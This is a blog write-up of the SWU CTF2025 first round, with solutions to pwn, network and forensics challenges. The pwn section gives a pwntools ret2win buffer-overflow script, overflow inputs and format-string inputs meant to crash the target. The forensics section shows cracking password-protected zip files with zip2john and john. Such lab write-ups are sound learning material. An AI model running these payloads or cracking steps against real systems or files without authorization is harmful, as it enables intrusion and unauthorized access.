1029 words
5 minutes
[SWU CTF2025] Writeups — First Round

Table of Contents#


PWN#

Lucky Numbers? (50 points)#

คุณสามารถเดาหมายเลขนำโชคของฉันได้หรือไม่? ระหว่าง 0–10000 มีเพียงหมายเลขเดียวที่ถูกต้อง!

Guest-My-LuckyNum.c From the source code, condition to print flag is to call sigsegv_handler() by trigger SIGSEGV (Signal Segmentation Violation). So, Buffer Overflow comes in head as the easiest approach.

Guest-My-LuckyNum.c After entering more than 56 characters (e.g., 'A' * 57), the flag is printed. Old trick!


Legendary Football Club Selector (100 points)#

เพื่อนของฉันไม่เคยดูฟุตบอลมาก่อนเลย แต่เขาอยากเข้าร่วมชมรมแฟนบอล! ฉันเลยอยากให้นายช่วย แนะนำทีมฟุตบอลที่ยอดเยี่ยมที่สุด ทีมที่มี ประวัติศาสตร์อันยาวนาน และคว้าถ้วยรางวัลมากที่สุดให้เพื่อนฉันหน่อย ได้โปรดช่วยแนะนำเขาที

This task again triggers SIGSEGV but via a different method. alt text Here, printf(choice1) is vulnerable to string format vuln since it pass the user input diretly to printf() . So approach is just to select the correct choice that able to pass to the second menu which checked by int count = printf(choice1) so the only string format that produce integer number is FC_Barc%70dna which will print an integer with 70 padded char.

alt text

printf(choice2) is vulnerable too . So approach is just to select the correct choice that able to trigger to read from stack address which is B0ru%s%s10_D0rtmund, %s will trigger printf to read from invalid memmory, result in SEGSIGV which trigger to print our flag!


The Jumper (200 points)#

การกระโดด เป็นเรื่องที่สำคัญมาก แต่ว่าต่อให้กระโดดได้ไกลแค่ไหน ก็ไม่สำคัญเท่ากระโดดให้ถูกที่ (Addr)

This is a ret2win address task. After decompiled with IDA

decompiled vuln() gets(v2) is vuln to buffer overflow, making instruction pointer is writable. So the approach is to overwrite the instruction pointer to call win() Now we will extract address and offset to jump

alt text

  • win() is at 0x08049206
  • Offset to overwrite eip defined by: alt text

alt text

Here, buffer for getsreserve 0x2c size which is 44 byte. So ebp is base pointer which eip (return address ) stored at ebp+4. So the offset is 48, let’s craft the payload (Actually after receiving all info I just throw into chatGPT and let it create the payload but here is the simplified version)

from pwn import *
offset = 48
con = remote("ctfswu-2025.com", 65512)
payload = b"A" * offset
payload += p32(0x08049206)
con.sendline(b'1212312121')
con.sendline(payload)
con.interactive()

Network#

Wireshark 101 (50 points)#

Wireshark เป็นโปรแกรมที่เอาไว้ดู Packet ที่ใช้ในการสื่อสาร ในแต่ละ Protocol ก็จะแตกต่างกันไป คนที่เคยใช้ก็จะหา Flag ได้ไม่ยาก

Filter:

frame contains "flag"

alt text Follow the HTTP stream to find the flag. alt text


Wireshark 201 (100 points)#

มันทำอะไรได้มากกว่าการดู Traffic…

Filter:

frame contains "flag"

alt text After concatenating each flag.txt from the stream, the complete flag is revealed.


อดทนจนกว่าจะได้ flag (200 points)#

ถึงจะผ่านข้อนี้ไปได้ แต่ก็ไม่สามารถผ่านคนในใจของเค้าได้หรอก!

Filter:

frame contains "flag"

alt text The flag is inside a .png object. Export it, decode from Base64, and get the flag. alt text Be careful distinguishing between L and I — it can trip you up.


นายเองก็เป็นได้นะ โคนันอะ (300 points)#

“ถ้าตัดความเป็นไปไม่ได้ออกไปหมดแล้ว สิ่งที่เหลืออยู่ ไม่ว่าจะไม่น่าเชื่อแค่ไหนก็ตาม แต่มันก็คือความจริง” (เสียงโคนัน)

Filter:

frame contains "flag"

alt text Export the ZIP object and unzip it. alt text All .txt file is just an ascii art, and wrong_qr.png is the rickroll hole. So let’s move on to wrong_qr.png alt text Hmm something is missing for qrcode. Filled with the square in the corners.

alt text Scanned will result in binaries number -> convert it to ascii will result in flag!


Forensics#

Dear Brute…. (100 points)#

ถึง บูธร์, สองวันที่ผ่านมา ฉันพบว่าเซิร์ฟเวอร์ฝั่ง West Farm Server ถูกโจมตี ทำให้ตอนนี้ฉันต้องรับมือกับงานจำนวนมาก ฉันอยากขอให้คุณช่วยวิเคราะห์ log และตรวจสอบว่าแฮกเกอร์ใช้เทคนิคอะไรในการโจมตี รวมถึงพวกเขาได้ข้อมูลอะไรไปบ้าง ยังไงฝากช่วยดูให้ทีนะ และการเปิดไฟล์ก็ใช้วิธีเดิมตามที่เราทำกัน เอ้อ! อีกอย่าง อย่าลืมอ่านไฟล์ข้อความของฉันด้วย จาก, ฟอร์ส

After downloaded and unzip the file, there are log.zip and message.zip alt text After tried to unzip all, log.zip is require a password. Since secret.txt seems to be the wordlist, we will bruteforce it with john but need to turn zip into hash first using zip2john alt text

And there it is! zip -> hash -> bruteforce w/ john -> flag!


Systemfile (200 points)#

หน่วยสืบสวนอาชญากรรมทางไซเบอร์บุกเข้าจับกุมกลุ่มแฮกเกอร์ในย่านเริงรมย์ แต่เมื่อไปถึงกลับพบเพียงซากของคอมพิวเตอร์และเซิร์ฟเวอร์ที่ถูกทำลายจนยับเยิน ส่งผลให้ข้อมูลสำคัญสูญหายไปอย่างไร้ร่องรอย ท่ามกลางความสับสน เจ้าหน้าที่พบเบาะแสบางอย่างที่อาจนำไปสู่การกู้คืนข้อมูลได้ แต่พวกเขาต้องการผู้เชี่ยวชาญในการกู้ข้อมูลดิจิทัล คุณจะสามารถค้นหาและกู้คืนข้อมูลเหล่านั้นได้หรือไม่?

After we downloaded the file, let’s check the file type

file disk2.img
disk2.img: Linux rev 1.0 ext4 filesystem data, UUID=c629300a-6578-4202-bd46-0260b21f2b9a (extents) (64bit) (large files) (huge files)

Let’s try extract some information from this filesystem using binwalk and try the simplest search for txt file.

alt text There are severals secrets file in different devices directory, but some number is missing so I went to the root folder and run tree cmd

Terminal window
tree .
.
├── dev00
└── secrets.zip
├── dev01
└── secret.txt
├── dev02
└── secret.txt
├── dev03
└── secret.txt
├── dev04
└── secret.txt
├── dev05
└── secret.txt
├── dev06
└── secret.txt
├── dev07
└── secret.txt
├── dev08
└── secret.txt
├── dev09
└── secret.txt
├── dev10
└── secret.txt
├── dev11
└── secret.txt
├── dev12
└── secret.txt
├── dev13
└── secret.txt
├── dev14
└── secret.txt
├── dev15
└── secret.txt
├── dev16
└── secret.txt
├── dev17
└── secret.txt
├── dev18
└── secret.txt
├── dev19
└── secret.txt
├── dev20
└── secret.txt
├── dev22
└── secret.txt
├── dev24
└── secret.txt
├── dev27
└── secret.txt
├── dev28
└── secret.txt
├── dev29
└── secret.txt
├── dev30
└── secret.txt
└── dev31
└── secrets.txt

dev00 contains suspicious format of secrets file (zip). But after I tried unzip it, it require a password. So, those severals secret.txt might me a password list

alt text And they are! So I use zip2john again and run this command to cat all .txt file and use it as wordlist for john

Use:

Terminal window
find ./ -type f -name "*.txt" -exec cat {} + | john --stdin hash.txt

The password show, unzip it and solved the flag!


Conclusion#

At the end of the comp, I solved most easy-to-medium challenges quickly due to common patterns, but struggled with some web tasks and Actually, I solved one more web application task in this competition, but I’ve only just gotten some free time, so I haven’t been able to write up the approach yet.

This CTF featured many popular challenge patterns, so I was able to solve several tasks quickly. However, I still struggle with more challenged task. Even when I can’t solve them in time, I knew how is its vuln but I can’t cracked it somehow (WebApp)🫠🫠

The thing I regret the most in this competition is the EternalTears task. The vulnerability was hinted at right in the name, but I couldn’t solve it — not because of a skill issue, but due to a problem with my VM environment. It blocked communication with my main desktop (host), which made it impossible to complete the exploit.

That’s it for now. See you in the next comp!

[SWU CTF2025] Writeups — First Round
https://plugspakuko.github.io/posts/ctf/swuctf2025-1/
Author
kpakkawat
Published at
2025-07-05
License
CC BY-NC-SA 4.0